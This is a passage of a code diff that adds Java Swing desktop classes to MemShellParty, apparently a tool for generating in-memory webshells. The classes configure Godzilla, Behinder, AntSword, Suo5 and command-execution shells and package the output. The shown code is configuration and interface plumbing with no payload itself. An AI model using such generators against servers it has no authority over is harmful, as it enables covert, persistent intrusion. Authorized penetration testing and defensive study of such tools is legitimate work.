if (classBytes == null || classBytes.length == 0) {
|
||||||
|
throw new IllegalArgumentException("class bytes are empty");
|
||||||
|
}
|
||||||
|
return new ClassReader(classBytes).getClassName().replace('/', '.');
|
||||||
|
}
|
||||||
|
}
|
||||||
+147
@@ -0,0 +1,147 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.service;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class GenerationService {
|
||||||
|
|
||||||
|
public DesktopMemShellGenerateResult generate(MemShellFormState s) {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(s.getServer())
|
||||||
|
.serverVersion(s.getServerVersion())
|
||||||
|
.shellTool(s.getShellTool())
|
||||||
|
.shellType(s.getShellType())
|
||||||
|
.targetJreVersion(parseInt(s.getTargetJdkVersion(), 50))
|
||||||
|
.debug(s.isDebug())
|
||||||
|
.byPassJavaModule(s.isByPassJavaModule())
|
||||||
|
.probe(s.isProbe())
|
||||||
|
.shrink(s.isShrink())
|
||||||
|
.lambdaSuffix(s.isLambdaSuffix())
|
||||||
|
.build();
|
||||||
|
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
.urlPattern(blankToDefault(s.getUrlPattern(), "/*"))
|
||||||
|
.injectorClassName(blankToNull(s.getInjectorClassName()))
|
||||||
|
.staticInitialize(s.isStaticInitialize())
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ShellToolConfig shellToolConfig = buildShellToolConfig(s);
|
||||||
|
MemShellResult memShellResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
|
||||||
|
String packMethod = s.getPackingMethod();
|
||||||
|
Packers packers = Packers.fromName(packMethod);
|
||||||
|
Packer<?> packer = packers.getInstance();
|
||||||
|
String packResult;
|
||||||
|
if (packer instanceof JarPacker) {
|
||||||
|
JarPacker jarPacker = (JarPacker) packer;
|
||||||
|
packResult = Base64.getEncoder().encodeToString(jarPacker.packBytes(memShellResult.toJarPackerConfig()));
|
||||||
|
} else {
|
||||||
|
ClassPackerConfig<Object> classPackerConfig = cast(memShellResult.toClassPackerConfig());
|
||||||
|
Map<String, Object> rawCustom = new LinkedHashMap<>(s.getPackerCustomConfig());
|
||||||
|
classPackerConfig.setCustomConfig(((Packer<Object>) packer).resolveCustomConfig(rawCustom));
|
||||||
|
packResult = ((Packer<Object>) packer).pack(classPackerConfig);
|
||||||
|
}
|
||||||
|
return new DesktopMemShellGenerateResult(memShellResult, packMethod, packResult);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private static ClassPackerConfig<Object> cast(ClassPackerConfig<?> c) {
|
||||||
|
return (ClassPackerConfig<Object>) c;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ShellToolConfig buildShellToolConfig(MemShellFormState s) {
|
||||||
|
String tool = s.getShellTool();
|
||||||
|
if (ShellTool.Godzilla.equals(tool)) {
|
||||||
|
return GodzillaConfig.builder()
|
||||||
|
.shellClassName(blankToNull(s.getShellClassName()))
|
||||||
|
.pass(blankToNull(s.getGodzillaPass()))
|
||||||
|
.key(blankToNull(s.getGodzillaKey()))
|
||||||
|
.headerName(blankToNull(s.getHeaderName()))
|
||||||
|
.headerValue(blankToNull(s.getHeaderValue()))
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
if (ShellTool.Behinder.equals(tool)) {
|
||||||
|
return BehinderConfig.builder()
|
||||||
|
.shellClassName(blankToNull(s.getShellClassName()))
|
||||||
|
.pass(blankToNull(s.getBehinderPass()))
|
||||||
|
.headerName(blankToNull(s.getHeaderName()))
|
||||||
|
.headerValue(blankToNull(s.getHeaderValue()))
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
if (ShellTool.AntSword.equals(tool)) {
|
||||||
|
return AntSwordConfig.builder()
|
||||||
|
.shellClassName(blankToNull(s.getShellClassName()))
|
||||||
|
.pass(blankToNull(s.getAntSwordPass()))
|
||||||
|
.headerName(blankToNull(s.getHeaderName()))
|
||||||
|
.headerValue(blankToNull(s.getHeaderValue()))
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
if (ShellTool.Suo5.equals(tool) || ShellTool.Suo5v2.equals(tool)) {
|
||||||
|
return Suo5Config.builder()
|
||||||
|
.shellClassName(blankToNull(s.getShellClassName()))
|
||||||
|
.headerName(blankToNull(s.getHeaderName()))
|
||||||
|
.headerValue(blankToNull(s.getHeaderValue()))
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
if (ShellTool.NeoreGeorg.equals(tool)) {
|
||||||
|
return NeoreGeorgConfig.builder()
|
||||||
|
.shellClassName(blankToNull(s.getShellClassName()))
|
||||||
|
.headerName(blankToNull(s.getHeaderName()))
|
||||||
|
.headerValue(blankToNull(s.getHeaderValue()))
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
if (ShellTool.Proxy.equals(tool)) {
|
||||||
|
return ProxyConfig.builder()
|
||||||
|
.shellClassName(blankToNull(s.getShellClassName()))
|
||||||
|
.headerName(blankToNull(s.getHeaderName()))
|
||||||
|
.headerValue(blankToNull(s.getHeaderValue()))
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
if (ShellTool.Custom.equals(tool)) {
|
||||||
|
return CustomConfig.builder()
|
||||||
|
.shellClassName(blankToNull(s.getShellClassName()))
|
||||||
|
.shellClassBase64(blankToNull(s.getShellClassBase64()))
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
if (ShellTool.Command.equals(tool)) {
|
||||||
|
return CommandConfig.builder()
|
||||||
|
.shellClassName(blankToNull(s.getShellClassName()))
|
||||||
|
.paramName(blankToNull(s.getCommandParamName()))
|
||||||
|
.headerName(blankToNull(s.getHeaderName()))
|
||||||
|
.headerValue(blankToNull(s.getHeaderValue()))
|
||||||
|
.template(blankToNull(s.getCommandTemplate()))
|
||||||
|
.encryptor(CommandConfig.Encryptor.fromString(blankToNull(s.getEncryptor())))
|
||||||
|
.implementationClass(CommandConfig.ImplementationClass.fromString(blankToNull(s.getImplementationClass())))
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
throw new IllegalArgumentException("Unsupported shell tool: " + tool);
|
||||||
|
}
|
||||||
|
|
||||||
|
private int parseInt(String value, int defaultValue) {
|
||||||
|
try {
|
||||||
|
return Integer.parseInt(value);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return defaultValue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String blankToNull(String s) {
|
||||||
|
return s == null || s.trim().isEmpty() ? null : s;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String blankToDefault(String s, String d) {
|
||||||
|
return s == null || s.trim().isEmpty() ? d : s;
|
||||||
|
}
|
||||||
|
}
|
||||||
+138
@@ -0,0 +1,138 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.ui.panel.MainConfigPanel;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.ui.panel.PackageConfigPanel;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
|
||||||
|
import net.miginfocom.swing.MigLayout;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import java.awt.*;
|
||||||
|
|
||||||
|
public class MemShellGeneratorFrame extends JFrame {
|
||||||
|
private final MemShellFormController controller;
|
||||||
|
private final GenerationService generationService;
|
||||||
|
private final MainConfigPanel mainConfigPanel;
|
||||||
|
private final PackageConfigPanel packageConfigPanel;
|
||||||
|
private final ResultPanel resultPanel;
|
||||||
|
private final JButton generateButton = new JButton("生成内存马");
|
||||||
|
private final JLabel statusLabel = new JLabel("就绪");
|
||||||
|
private JComponent mainContentPanel;
|
||||||
|
|
||||||
|
public MemShellGeneratorFrame() {
|
||||||
|
super("MemShellParty - MemShellGenerator");
|
||||||
|
this.controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||||
|
this.generationService = new GenerationService();
|
||||||
|
CustomClassNameParser customClassNameParser = new CustomClassNameParser();
|
||||||
|
|
||||||
|
this.resultPanel = new ResultPanel();
|
||||||
|
this.mainConfigPanel = new MainConfigPanel(controller, customClassNameParser, this::refreshAll);
|
||||||
|
this.packageConfigPanel = new PackageConfigPanel(controller, this::refreshAll);
|
||||||
|
|
||||||
|
setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
|
||||||
|
setMinimumSize(new Dimension(1180, 900));
|
||||||
|
setSize(1280, 900);
|
||||||
|
setLocationRelativeTo(null);
|
||||||
|
|
||||||
|
setLayout(new BorderLayout(6, 6));
|
||||||
|
add(buildToolbar(), BorderLayout.NORTH);
|
||||||
|
add(buildContent(), BorderLayout.CENTER);
|
||||||
|
add(buildStatusBar(), BorderLayout.SOUTH);
|
||||||
|
|
||||||
|
generateButton.addActionListener(e -> onGenerate());
|
||||||
|
resultPanel.clear();
|
||||||
|
refreshAll();
|
||||||
|
}
|
||||||
|
|
||||||
|
private JComponent buildToolbar() {
|
||||||
|
JPanel p = new JPanel(new BorderLayout());
|
||||||
|
p.setBorder(BorderFactory.createEmptyBorder(4, 8, 2, 8));
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
private JComponent buildContent() {
|
||||||
|
JPanel topPane = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[][]"));
|
||||||
|
JPanel leftColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
|
||||||
|
leftColumn.add(mainConfigPanel.getCorePanelComponent(), "growx");
|
||||||
|
leftColumn.add(packageConfigPanel, "growx");
|
||||||
|
|
||||||
|
JPanel rightColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]"));
|
||||||
|
rightColumn.add(mainConfigPanel.getToolPanelComponent(), "growx");
|
||||||
|
|
||||||
|
JPanel topColumns = new JPanel(new MigLayout("insets 0, fillx, aligny top, gapx 8, wrap 2",
|
||||||
|
"[grow,fill,sg topCol][grow,fill,sg topCol]",
|
||||||
|
"[top]"));
|
||||||
|
topColumns.add(leftColumn, "growx, pushx, top");
|
||||||
|
topColumns.add(rightColumn, "growx, pushx, top");
|
||||||
|
topPane.add(topColumns, "growx, pushy");
|
||||||
|
|
||||||
|
topPane.add(generateButton, "wrap, growx, gaptop 10");
|
||||||
|
generateButton.setFont(generateButton.getFont().deriveFont(Font.BOLD, 14f));
|
||||||
|
|
||||||
|
JPanel content = new JPanel(new MigLayout("insets 0, fill, wrap 1", "[grow,fill]", "[][grow,fill]"));
|
||||||
|
content.add(topPane, "growx");
|
||||||
|
content.add(resultPanel, "grow, push");
|
||||||
|
mainContentPanel = content;
|
||||||
|
return content;
|
||||||
|
}
|
||||||
|
|
||||||
|
private JComponent buildStatusBar() {
|
||||||
|
JPanel p = new JPanel(new BorderLayout());
|
||||||
|
p.setBorder(BorderFactory.createEmptyBorder(3, 8, 3, 8));
|
||||||
|
p.add(statusLabel, BorderLayout.WEST);
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void onGenerate() {
|
||||||
|
com.reajason.javaweb.desktop.memshell.validation.MemShellValidator.Result validation = controller.validate();
|
||||||
|
if (!validation.isValid()) {
|
||||||
|
statusLabel.setText("校验失败");
|
||||||
|
SwingUiUtil.showError(this, validation.firstMessage());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
generateButton.setEnabled(false);
|
||||||
|
statusLabel.setText("生成中...");
|
||||||
|
|
||||||
|
SwingWorker<DesktopMemShellGenerateResult, Void> worker = new SwingWorker<DesktopMemShellGenerateResult, Void>() {
|
||||||
|
@Override
|
||||||
|
protected DesktopMemShellGenerateResult doInBackground() {
|
||||||
|
return generationService.generate(controller.getState().copy());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void done() {
|
||||||
|
generateButton.setEnabled(true);
|
||||||
|
try {
|
||||||
|
DesktopMemShellGenerateResult result = get();
|
||||||
|
resultPanel.showResult(result);
|
||||||
|
statusLabel.setText("生成成功");
|
||||||
|
} catch (Exception ex) {
|
||||||
|
statusLabel.setText("生成失败");
|
||||||
|
SwingUiUtil.showError(MemShellGeneratorFrame.this, "生成失败: " + (ex.getCause() != null ? ex.getCause().getMessage() : ex.getMessage()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
worker.execute();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void refreshAll() {
|
||||||
|
mainConfigPanel.refreshFromController();
|
||||||
|
packageConfigPanel.refreshFromController();
|
||||||
|
repaint();
|
||||||
|
revalidate();
|
||||||
|
}
|
||||||
|
|
||||||
|
JComponent getMainContentPanel() {
|
||||||
|
return mainContentPanel;
|
||||||
|
}
|
||||||
|
|
||||||
|
JButton getGenerateButton() {
|
||||||
|
return generateButton;
|
||||||
|
}
|
||||||
|
}
|
||||||
+169
@@ -0,0 +1,169 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.ui.panel.tool.*;
|
||||||
|
import net.miginfocom.swing.MigLayout;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class MainConfigPanel extends JPanel {
|
||||||
|
private final MemShellFormController controller;
|
||||||
|
private final Runnable refreshAll;
|
||||||
|
private boolean updating;
|
||||||
|
|
||||||
|
private final JComboBox<String> serverCombo = new JComboBox<>();
|
||||||
|
private final JComboBox<String> serverVersionCombo = new JComboBox<>();
|
||||||
|
private final JComboBox<String> shellToolCombo = new JComboBox<>();
|
||||||
|
private final JComboBox<String> targetJdkCombo = new JComboBox<>();
|
||||||
|
|
||||||
|
private final JCheckBox debugCheck = new JCheckBox("调试模式");
|
||||||
|
private final JCheckBox probeCheck = new JCheckBox("回显模式");
|
||||||
|
private final JCheckBox bypassCheck = new JCheckBox("绕过模块限制");
|
||||||
|
private final JCheckBox lambdaCheck = new JCheckBox("Lambda 类名后缀");
|
||||||
|
private final JCheckBox shrinkCheck = new JCheckBox("缩小字节码");
|
||||||
|
private final JCheckBox staticInitCheck = new JCheckBox("静态初始化");
|
||||||
|
|
||||||
|
private final JPanel corePanel;
|
||||||
|
private final JPanel toolPanelWrap;
|
||||||
|
private final JPanel toolCardPanel = new JPanel(new CardLayout());
|
||||||
|
private final Map<String, RefreshableToolPanel> toolPanels = new LinkedHashMap<>();
|
||||||
|
|
||||||
|
public MainConfigPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
|
||||||
|
super(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
|
||||||
|
this.controller = controller;
|
||||||
|
this.refreshAll = refreshAll;
|
||||||
|
|
||||||
|
corePanel = new JPanel(new MigLayout("insets 8, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
|
||||||
|
corePanel.setBorder(BorderFactory.createTitledBorder("核心配置"));
|
||||||
|
corePanel.add(labeled("服务类型", serverCombo), "growx");
|
||||||
|
corePanel.add(labeled("服务版本", serverVersionCombo), "growx");
|
||||||
|
corePanel.add(labeled("内存马工具", shellToolCombo), "growx");
|
||||||
|
corePanel.add(labeled("JRE 版本", targetJdkCombo), "growx");
|
||||||
|
|
||||||
|
JPanel togglePanel = new JPanel(new MigLayout("insets 0, gapx 8, gapy 2, wrap 3", "[grow,fill][grow,fill][grow,fill]", "[]"));
|
||||||
|
togglePanel.add(debugCheck);
|
||||||
|
togglePanel.add(probeCheck);
|
||||||
|
togglePanel.add(bypassCheck);
|
||||||
|
togglePanel.add(lambdaCheck);
|
||||||
|
togglePanel.add(shrinkCheck);
|
||||||
|
togglePanel.add(staticInitCheck);
|
||||||
|
corePanel.add(togglePanel, "span 2, growx");
|
||||||
|
add(corePanel, "growx");
|
||||||
|
|
||||||
|
toolPanelWrap = new JPanel(new BorderLayout());
|
||||||
|
toolPanelWrap.setBorder(BorderFactory.createTitledBorder("内存马功能"));
|
||||||
|
// Keep the active tool panel at preferred height to avoid large blank sections.
|
||||||
|
toolPanelWrap.add(toolCardPanel, BorderLayout.NORTH);
|
||||||
|
add(toolPanelWrap, "growx");
|
||||||
|
|
||||||
|
registerToolPanel("Godzilla", new GodzillaToolPanel(controller, refreshAll));
|
||||||
|
registerToolPanel("Command", new CommandToolPanel(controller, refreshAll));
|
||||||
|
registerToolPanel("Behinder", new BehinderToolPanel(controller, refreshAll));
|
||||||
|
registerToolPanel("AntSword", new AntSwordToolPanel(controller, refreshAll));
|
||||||
|
registerToolPanel("Suo5", new Suo5ToolPanel(controller, refreshAll));
|
||||||
|
registerToolPanel("Suo5v2", new Suo5ToolPanel(controller, refreshAll));
|
||||||
|
registerToolPanel("NeoreGeorg", new NeoRegToolPanel(controller, refreshAll));
|
||||||
|
registerToolPanel("Proxy", new ProxyToolPanel(controller, refreshAll));
|
||||||
|
registerToolPanel("Custom", new CustomToolPanel(controller, parser, refreshAll));
|
||||||
|
|
||||||
|
bindEvents();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void registerToolPanel(String key, RefreshableToolPanel panel) {
|
||||||
|
toolPanels.put(key, panel);
|
||||||
|
toolCardPanel.add((Component) panel, key);
|
||||||
|
}
|
||||||
|
|
||||||
|
private JPanel labeled(String label, JComponent component) {
|
||||||
|
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
|
||||||
|
p.add(new JLabel(label));
|
||||||
|
p.add(component, "growx");
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void bindEvents() {
|
||||||
|
serverCombo.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
Object item = serverCombo.getSelectedItem();
|
||||||
|
if (item != null) {
|
||||||
|
controller.setServer(String.valueOf(item));
|
||||||
|
refreshAll.run();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
serverVersionCombo.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
Object item = serverVersionCombo.getSelectedItem();
|
||||||
|
if (item != null) controller.setServerVersion(String.valueOf(item));
|
||||||
|
});
|
||||||
|
shellToolCombo.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
Object item = shellToolCombo.getSelectedItem();
|
||||||
|
if (item != null) {
|
||||||
|
controller.setShellTool(String.valueOf(item));
|
||||||
|
refreshAll.run();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
targetJdkCombo.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
Object item = targetJdkCombo.getSelectedItem();
|
||||||
|
if (item != null) {
|
||||||
|
controller.setTargetJdkVersion(String.valueOf(item));
|
||||||
|
refreshAll.run();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
debugCheck.addActionListener(e -> controller.setDebug(debugCheck.isSelected()));
|
||||||
|
probeCheck.addActionListener(e -> controller.setProbe(probeCheck.isSelected()));
|
||||||
|
bypassCheck.addActionListener(e -> controller.setByPassJavaModule(bypassCheck.isSelected()));
|
||||||
|
lambdaCheck.addActionListener(e -> controller.setLambdaSuffix(lambdaCheck.isSelected()));
|
||||||
|
shrinkCheck.addActionListener(e -> controller.setShrink(shrinkCheck.isSelected()));
|
||||||
|
staticInitCheck.addActionListener(e -> controller.setStaticInitialize(staticInitCheck.isSelected()));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void refreshFromController() {
|
||||||
|
MemShellFormState s = controller.getState();
|
||||||
|
updating = true;
|
||||||
|
try {
|
||||||
|
setComboItems(serverCombo, controller.getServers(), s.getServer());
|
||||||
|
setComboItems(serverVersionCombo, controller.getServerVersionOptions(), s.getServerVersion());
|
||||||
|
setComboItems(shellToolCombo, controller.getShellTools(), s.getShellTool());
|
||||||
|
setComboItems(targetJdkCombo, controller.getConfigCatalogService().getTargetJdkOptions(), s.getTargetJdkVersion());
|
||||||
|
|
||||||
|
debugCheck.setSelected(s.isDebug());
|
||||||
|
probeCheck.setSelected(s.isProbe());
|
||||||
|
bypassCheck.setSelected(s.isByPassJavaModule());
|
||||||
|
lambdaCheck.setSelected(s.isLambdaSuffix());
|
||||||
|
shrinkCheck.setSelected(s.isShrink());
|
||||||
|
staticInitCheck.setSelected(s.isStaticInitialize());
|
||||||
|
} finally {
|
||||||
|
updating = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
CardLayout cardLayout = (CardLayout) toolCardPanel.getLayout();
|
||||||
|
cardLayout.show(toolCardPanel, s.getShellTool());
|
||||||
|
RefreshableToolPanel toolPanel = toolPanels.get(s.getShellTool());
|
||||||
|
if (toolPanel != null) {
|
||||||
|
toolPanel.refreshFromController();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
|
||||||
|
combo.removeAllItems();
|
||||||
|
for (String item : items) combo.addItem(item);
|
||||||
|
if (selected != null) combo.setSelectedItem(selected);
|
||||||
|
}
|
||||||
|
|
||||||
|
public JComponent getCorePanelComponent() {
|
||||||
|
return corePanel;
|
||||||
|
}
|
||||||
|
|
||||||
|
public JComponent getToolPanelComponent() {
|
||||||
|
return toolPanelWrap;
|
||||||
|
}
|
||||||
|
}
|
||||||
+131
@@ -0,0 +1,131 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
|
||||||
|
import net.miginfocom.swing.MigLayout;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.DocumentEvent;
|
||||||
|
import javax.swing.event.DocumentListener;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class PackageConfigPanel extends JPanel {
|
||||||
|
private final MemShellFormController controller;
|
||||||
|
private final Runnable refreshAll;
|
||||||
|
private boolean updating;
|
||||||
|
|
||||||
|
private final JComboBox<PackerEntryModel> packerCombo = new JComboBox<>();
|
||||||
|
private final JPanel dynamicFieldsPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
|
||||||
|
|
||||||
|
public PackageConfigPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||||
|
super(new MigLayout("insets 8, fillx, wrap 1", "[grow,fill]", "[]4[]"));
|
||||||
|
this.controller = controller;
|
||||||
|
this.refreshAll = refreshAll;
|
||||||
|
setBorder(BorderFactory.createTitledBorder("打包配置"));
|
||||||
|
|
||||||
|
JPanel top = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
|
||||||
|
top.add(new JLabel("打包方式"));
|
||||||
|
top.add(packerCombo, "growx");
|
||||||
|
add(top, "growx");
|
||||||
|
add(dynamicFieldsPanel, "growx");
|
||||||
|
|
||||||
|
packerCombo.setRenderer(new DefaultListCellRenderer() {
|
||||||
|
@Override
|
||||||
|
public java.awt.Component getListCellRendererComponent(JList<?> list, Object value, int index, boolean isSelected, boolean cellHasFocus) {
|
||||||
|
super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus);
|
||||||
|
if (value instanceof PackerEntryModel) {
|
||||||
|
PackerEntryModel p = (PackerEntryModel) value;
|
||||||
|
setText(p.displayLabel());
|
||||||
|
}
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
packerCombo.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
Object item = packerCombo.getSelectedItem();
|
||||||
|
if (item instanceof PackerEntryModel) {
|
||||||
|
PackerEntryModel p = (PackerEntryModel) item;
|
||||||
|
controller.setPacker(p.getName());
|
||||||
|
refreshAll.run();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public void refreshFromController() {
|
||||||
|
updating = true;
|
||||||
|
try {
|
||||||
|
DefaultComboBoxModel<PackerEntryModel> model = new DefaultComboBoxModel<>();
|
||||||
|
List<PackerEntryModel> filtered = controller.getFilteredPackers();
|
||||||
|
PackerEntryModel selected = controller.getSelectedPackerEntry();
|
||||||
|
for (PackerEntryModel p : filtered) model.addElement(p);
|
||||||
|
packerCombo.setModel(model);
|
||||||
|
if (selected != null) packerCombo.setSelectedItem(selected);
|
||||||
|
rebuildDynamicFields(controller.getSelectedPackerFields(), controller.getPackerCustomConfig());
|
||||||
|
} finally {
|
||||||
|
updating = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void rebuildDynamicFields(List<PackerSchemaFieldModel> fields, Map<String, Object> currentValues) {
|
||||||
|
dynamicFieldsPanel.removeAll();
|
||||||
|
if (fields == null || fields.isEmpty()) {
|
||||||
|
dynamicFieldsPanel.revalidate();
|
||||||
|
dynamicFieldsPanel.repaint();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for (PackerSchemaFieldModel field : fields) {
|
||||||
|
String type = field.getType();
|
||||||
|
if (!"BOOLEAN".equals(type) && !"STRING".equals(type) && !"ENUM".equals(type) && !"INTEGER".equals(type)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = currentValues.get(field.getKey());
|
||||||
|
if ("BOOLEAN".equals(type)) {
|
||||||
|
JCheckBox check = new JCheckBox(field.getKey());
|
||||||
|
check.setSelected(Boolean.TRUE.equals(value));
|
||||||
|
check.addActionListener(e -> controller.setPackerCustomField(field.getKey(), check.isSelected()));
|
||||||
|
dynamicFieldsPanel.add(check, "span 2, growx");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
dynamicFieldsPanel.add(new JLabel(field.getKey()));
|
||||||
|
if ("ENUM".equals(type)) {
|
||||||
|
JComboBox<String> combo = new JComboBox<>();
|
||||||
|
for (PackerSchemaFieldModel.Option option : field.getOptions()) {
|
||||||
|
combo.addItem(option.getValue());
|
||||||
|
}
|
||||||
|
if (value != null) combo.setSelectedItem(String.valueOf(value));
|
||||||
|
combo.addActionListener(e -> controller.setPackerCustomField(field.getKey(), combo.getSelectedItem()));
|
||||||
|
dynamicFieldsPanel.add(combo, "growx");
|
||||||
|
} else {
|
||||||
|
JTextField text = new JTextField(value == null ? "" : String.valueOf(value));
|
||||||
|
text.getDocument().addDocumentListener(new DocumentListener() {
|
||||||
|
@Override public void insertUpdate(DocumentEvent e) { changed(); }
|
||||||
|
@Override public void removeUpdate(DocumentEvent e) { changed(); }
|
||||||
|
@Override public void changedUpdate(DocumentEvent e) { changed(); }
|
||||||
|
private void changed() {
|
||||||
|
if (updating) return;
|
||||||
|
if ("INTEGER".equals(type)) {
|
||||||
|
String raw = text.getText().trim();
|
||||||
|
if (raw.isEmpty()) {
|
||||||
|
controller.setPackerCustomField(field.getKey(), null);
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
controller.setPackerCustomField(field.getKey(), Integer.parseInt(raw));
|
||||||
|
} catch (NumberFormatException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
controller.setPackerCustomField(field.getKey(), text.getText());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
dynamicFieldsPanel.add(text, "growx");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dynamicFieldsPanel.revalidate();
|
||||||
|
dynamicFieldsPanel.repaint();
|
||||||
|
}
|
||||||
|
}
|
||||||
+249
@@ -0,0 +1,249 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.util.ClipboardUtil;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.util.FileSaveUtil;
|
||||||
|
